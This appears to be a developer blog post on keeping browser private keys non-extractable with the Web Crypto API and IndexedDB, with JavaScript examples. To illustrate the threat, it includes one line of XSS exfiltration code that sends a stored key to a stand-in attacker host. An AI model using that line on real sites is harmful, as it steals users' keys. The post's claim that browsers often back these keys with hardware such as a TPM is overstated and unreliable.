
Stop Handling Private Keys as Strings: Use the Web Crypto API’s 'Non-Extractable' Flag to Hardware-Harden Your Browser Security
Why trusting the JavaScript heap with your raw private keys is an architectural error you can fix with a single API flag.
I was auditing a legacy dashboard last year when I found a private key sitting comfortably in localStorage, right next to the user’s preferred theme and "dismissed_tutorial" flag. It was a raw PEM string, just waiting for a single cross-site scripting (XSS) vulnerability to fly off to a malicious server. We’ve spent decades teaching developers to secure their servers, but we’re still treating the browser like a safe place to leave keys under the doormat.
If your web application handles cryptographic keys—whether for end-to-end encryption, digital signatures, or decentralized identity—you need to stop treating those keys as strings. The moment a private key touches the JavaScript heap as a raw array of bytes or a string, you’ve lost.
There is a better way. The Web Crypto API provides a mechanism to handle keys as opaque "handles" that never reveal their underlying secrets to the JavaScript environment. By using the extractable: false flag, you effectively "hardware-harden" your browser security, ensuring that even if an attacker gains execution power in your app, they cannot walk away with your users' private keys.
The JavaScript Heap is a Hostile Environment
Most developers are used to the convenience of strings. We JSON.stringify objects, we store tokens in sessionStorage, and we pass keys around in variables. But strings are "leaky."
When you hold a private key as a string in JavaScript:
1. Memory Persistence: JavaScript’s garbage collector is non-deterministic. That sensitive key string might stay in physical RAM long after you’ve nullified the variable.
2. XSS Exfiltration: If an attacker successfully injects a script via a poorly sanitized search bar or a compromised third-party dependency, they can simply fetch('https://attacker.com?key=' + localStorage.getItem('priv_key')).
3. Prototype Pollution: Sophisticated attacks can hook into standard global functions to sniff data as it moves through your application.
The Web Crypto API (specifically window.crypto.subtle) solves this by introducing the CryptoKey object. Unlike a string, a CryptoKey is an internal reference. When you generate or import a key with the extractable flag set to false, the browser's crypto engine manages the key material in its own protected memory space. You get a handle to the key, but you can’t see the bytes.
The "One-Way" Trip: Generating Non-Extractable Keys
The most secure way to handle a key is to ensure it is born inside the browser and never leaves. When you generate a key pair using the Web Crypto API, you have the option to lock it down immediately.
Here is how you generate an ECDSA (Elliptic Curve Digital Signature Algorithm) key pair where the private key is locked inside the browser:
async function generateSecureKeys() {
const keyPair = await window.crypto.subtle.generateKey(
{
name: "ECDSA",
namedCurve: "P-256", // A standard, performant curve
},
false, // THIS IS THE MAGIC: extractable = false
["sign", "verify"] // Usage intent
);
// keyPair.publicKey is extractable (usually fine to share)
// keyPair.privateKey is NON-EXTRACTABLE
return keyPair;
}
const keys = await generateSecureKeys();
console.log(keys.privateKey);
// Output: CryptoKey { type: "private", extractable: false, ... }Once that false flag is set, any attempt to use window.crypto.subtle.exportKey() on that private key will throw an error. The key is now a "black box." You can tell the browser, "Hey, use this handle to sign this piece of data," but you can never ask, "Hey, what are the actual bits and bytes of this handle?"
What Happens When You Try to Cheat?
I’ve seen developers try to "debug" their non-extractable keys by exporting them. The browser won't let you. It’s a hard security boundary implemented at the engine level.
try {
const exported = await window.crypto.subtle.exportKey(
"pkcs8",
keys.privateKey
);
} catch (e) {
console.error("Nice try, hacker. You can't touch this key material.");
// DOMException: The key is not extractable
}This is the "Hardware-Harden" part of the equation. While it’s technically software-based, modern browsers (especially Chrome and Edge on Windows or Safari on macOS) often back the Web Crypto API with the operating system's underlying secure storage, such as the TPM (Trusted Platform Module) or the Apple Secure Enclave. By setting extractable: false, you are signaling to the browser that it should use the highest level of protection available.
Importing Keys Without Leaking Them
Sometimes, you don't generate the key locally. Maybe the user is "restoring" an account by typing in a seed phrase or uploading a backup file. Even in this case, you should minimize the "surface area" of the raw key.
The goal is to convert the raw input into a non-extractable CryptoKey as fast as possible, then scrub the raw input from memory.
async function importAndLockKey(rawKeyBuffer) {
const privateKey = await window.crypto.subtle.importKey(
"pkcs8", // Format of the input
rawKeyBuffer,
{
name: "ECDSA",
namedCurve: "P-256",
},
false, // Lock it down immediately upon import
["sign"]
);
// IMMEDIATELY clear the buffer if possible
// (In JS, you can't manually free memory, but you can overwrite TypedArrays)
const view = new Uint8Array(rawKeyBuffer);
view.fill(0);
return privateKey;
}By overwriting the Uint8Array with zeros, you ensure that even if the garbage collector takes its time, the sensitive bytes are gone from that specific memory allocation.
The Storage Paradox: How to Persist Opaque Keys
If you can't export the key to a string, how do you save it for the user’s next session? If you refresh the page, the JavaScript state is wiped.
This is where localStorage fails us. localStorage only stores strings. Since we can't (and shouldn't) turn our key into a string, we can't use it.
The solution is IndexedDB.
IndexedDB is the only browser storage mechanism that supports the Structured Clone Algorithm. This algorithm allows the browser to store complex objects—including CryptoKey objects—directly. When you store a CryptoKey in IndexedDB, the browser keeps the "non-extractable" metadata attached to it. When you retrieve it later, it’s still non-extractable.
Example: Saving a Key Handle to IndexedDB
I recommend using a small wrapper like idb-keyval for IndexedDB, but for the sake of clarity, here is the raw approach:
async function saveKeyToStorage(key) {
const dbName = "SecureKeyStore";
const request = indexedDB.open(dbName, 1);
request.onupgradeneeded = (event) => {
const db = event.target.result;
db.createObjectStore("keys");
};
return new Promise((resolve, reject) => {
request.onsuccess = (event) => {
const db = event.target.result;
const transaction = db.transaction("keys", "readwrite");
const store = transaction.objectStore("keys");
// Store the actual CryptoKey object
store.put(key, "my-private-key");
transaction.oncomplete = () => resolve();
transaction.onerror = () => reject();
};
});
}Now, the private key lives in the browser's internal database. An attacker using XSS can still *use* the key to sign malicious transactions (if your app doesn't have further protections like a password-derived encryption key), but they cannot copy the key to another machine. This limits the blast radius of an attack significantly. They can’t "clone" the user; they can only "act" as the user as long as they have a foothold in that specific browser session.
Signing Data Without Seeing the Key
So, your key is non-extractable and sitting in IndexedDB. How do you actually use it? The window.crypto.subtle.sign method takes the key handle as an argument. The actual math happens in the browser's "privileged" space.
async function signMessage(message) {
// 1. Retrieve the non-extractable key handle from IndexedDB
const privateKey = await getKeyFromIndexedDB("my-private-key");
// 2. Encode the message to bytes
const encoder = new TextEncoder();
const data = encoder.encode(message);
// 3. Sign it
const signature = await window.crypto.subtle.sign(
{
name: "ECDSA",
hash: { name: "SHA-256" },
},
privateKey,
data
);
return signature; // This is just an ArrayBuffer of the signature
}Notice that at no point did the private key material enter our code as a variable we could print or manipulate. We simply moved a "pointer" around.
The Reality Check: Is This Bulletproof?
No security measure is absolute. If an attacker has XSS, they can still do damage. They can:
- Trigger the signMessage function with their own data.
- Read sensitive data that the app decrypts using the key.
- Redirect the user to a phishing page.
However, by using extractable: false, you prevent the permanent compromise of the identity. If a user discovers an XSS attack happened, they don't necessarily have to revoke their keys if those keys were non-extractable—the attacker never got the master secret. The attacker’s access died the moment the user closed the tab or cleared their session.
Common Gotchas and Performance
You might wonder if this abstraction layer adds overhead. In my experience, the performance cost of the Web Crypto API is negligible compared to the network latency or the DOM rendering of a modern React/Vue app. In fact, because Web Crypto is often implemented in C++ or Rust at the browser level (or delegated to the OS), it’s frequently faster than pure-JS crypto libraries like crypto-js.
The "Import" Trap:
One mistake I see often is developers fetching a key from a server, importing it as extractable: true to "check if it works," and then trying to "re-import" it as extractable: false. Don't do this. The moment it's in the heap as extractable, the ghost is in the machine. Decide on your security posture from the first line of code.
Browser Support:
Web Crypto is broadly supported in all evergreen browsers. However, if you are supporting ancient versions of Internet Explorer (please don't), you'll find that msCrypto has a vastly different and buggier implementation. For 99% of modern web apps, the standard subtle crypto is ready for prime time.
Architectural Shift
Moving from strings to CryptoKey handles requires a shift in how you think about application state. You can no longer just dump your "user object" into localStorage. You have to treat keys as unique resources that live in IndexedDB and are accessed via asynchronous handles.
But the trade-off is worth it. By making your keys non-extractable, you are moving the goalposts for attackers. You are moving from a world where "one XSS script steals everything" to a world where "one XSS script can only perform specific actions locally."
In a landscape where supply chain attacks on NPM packages are becoming a monthly occurrence, hardware-hardening your browser security isn't just a "nice to have"—it's an architectural necessity. Stop handling private keys as strings. Use the API as it was intended, and give your users the level of security they actually deserve.
